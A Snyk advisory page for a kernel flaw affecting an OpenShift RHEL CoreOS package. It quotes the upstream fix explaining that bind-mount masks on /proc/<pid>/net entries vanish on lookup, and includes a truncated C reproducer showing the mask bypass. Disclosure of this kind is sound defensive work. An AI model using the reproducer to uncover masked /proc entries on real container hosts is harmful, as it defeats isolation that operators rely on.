Files or Directories Accessible to External Parties Affecting openshift/ose-rhel-coreos-8 package, versions *


Severity

Recommended
0.0
low
0
10

Based on Red Hat Enterprise Linux security rating.

Threat Intelligence

EPSS
0.22% (14th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RHEL8-OPENSHIFTOSERHELCOREOS8-23212915
  • published1 Dec 2026
  • disclosed30 Nov 2026

Introduced: 30 Nov 2026

NewCVE-2026-99841  (opens in a new tab)
CWE-552  (opens in a new tab)

How to fix?

There is no fixed version for RHEL:8 openshift/ose-rhel-coreos-8.

NVD Description

Note: Versions mentioned in the description apply only to the upstream openshift/ose-rhel-coreos-8 package and not the openshift/ose-rhel-coreos-8 package as distributed by RHEL. See How to fix? for RHEL:8 relevant fixed versions and status.

In the Linux kernel, the following vulnerability has been resolved:

proc: don't let an entry below /proc/<pid>/net be a mountpoint

proc_net_d_revalidate() always returns 0 so that a dentry below /proc/<pid>/net is never reused after setns(). So lookup_fast() will end up calling d_invalidate(), which unhashes the dentry and detaches every mount on it, in every mount namespace; including locked mounts.

Then lookup_slow() creates a new dentry for the same entry. So a mount on /proc/<pid>/net/dev succeeds and goes away with the first lookup of the name by anybody with search permission on the directory. Given it's 0555 that's everyone's grandma. A mask on such a name hides nothing as the repro below shows.

Treat those entries like I did fd/, fdinfo/ and map_files/ and refuse to mount on them in the first place. It's nonsensical theater otherwise:

procnet net/dev stat

// SPDX-License-Identifier: GPL-2.0 /*

  • procnet: cover an entry of /proc/<pid>/ with a bind mount, lock the mount,
  • then look the name up.
  • The first task stays alive, <pid> is its pid. The "container" task has its
  • own mount namespace. There it binds a mask on /proc/<pid>/<name>. It drops to
  • uid 1000 and enters a new user namespace with a new mount namespace, so that
  • the mask is locked. Then one task looks the name up:
  • stat the container calls stat() on the name
  • umount the container calls umount2(MNT_DETACH) on the name
  • nobody a task with uid 65534 in the first namespaces calls stat()
  • The container lists its mounts before and after (that does not look the
  • name up) and then reads the name. MASK is fine. Anything else means that
  • the lookup uncovered the entry.
  • usage: procnet <name> stat|umount|nobody
  • name "status" is the control, "net/dev" is a file below net, "net/stat" is
  • a directory below net */

#define _GNU_SOURCE #include <dirent.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/stat.h> #include <sys/wait.h>

#define WORK "/run/pn"

static char target[128];

static void die(const char *what) { fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno)); exit(2); }

static void write_str(const char *path, const char *s, int flags) { int fd = open(path, O_WRONLY | flags, 0644);

  if (fd &lt; 0 || write(fd, s, strlen(s)) &lt; 0)
      die(path);
  close(fd);

}

/* list the mounts below /proc without a lookup of the target */ static void mounts(const char *when) { char line[512]; FILE *f = fopen("/proc/self/mountinfo", "r"); int n = 0;

  if (!f)
      die(&#34;mountinfo&#34;);
  while (fgets(line, sizeof(line), f)) {
      if (!strstr(line, &#34; /proc/&#34;))
          continue;
      printf(&#34;container: %s: mount: %s&#34;, when, line);
      n++;
  }
  fclose(f);
  if (!n)
      printf(&#34;container: %s: nothing is mounted below /proc\n&#34;, when);

}

static void show(const char *when, int isdir) { char buf[48] = ""; int fd;

  if (isdir) {
      struct dirent *de;
      DIR *d = opendir(target);
      int hit = 0;

  if (!d) {
      printf(&amp;#34;container: %s: opendir(%s) = %s\n&amp;#34;, when, target, strerror(errno));
      return;
  }
  printf(&amp;#34;container: %s: readdir(%s) =&amp;#34;, when, target);
  while ((de = readdir(d))) {
      if (de-&amp;gt;d_name[0] == &amp;#39;.&amp;#39;)
          continue;
      printf(&amp;#34; %s&amp;#34;, de-&amp;gt;d_name);
      hit |= strcmp(de-&amp;gt;d_name, &amp;#34;MASK&amp;#34;);
  }
  closedir(d);
  printf(&amp;#34;%s\n&amp;#34;, hit ? &amp;#34;   &amp;lt;-- HIT&amp;#34; : &amp;#34;&amp;#34;);
  return;

} fd = open(target, O_RDONLY); if (fd &lt; 0) { printf(&#34;container: %s: open(%s) = %s\n&#34;, when, target, strerror(errno)); return; } if (read(fd, buf, sizeof(buf) - 1) &lt; 0) die(&#34;read&#34;); close(fd); if (strchr(buf, &#39;\n&#39;)) *strchr(buf, &#39;\n&#39;) = 0; printf(&#34;container: %s: read(%s) = &amp;#34;%s&amp;#34;%s\n&#34;, when

---truncated---

CVSS Base Scores

version 3.1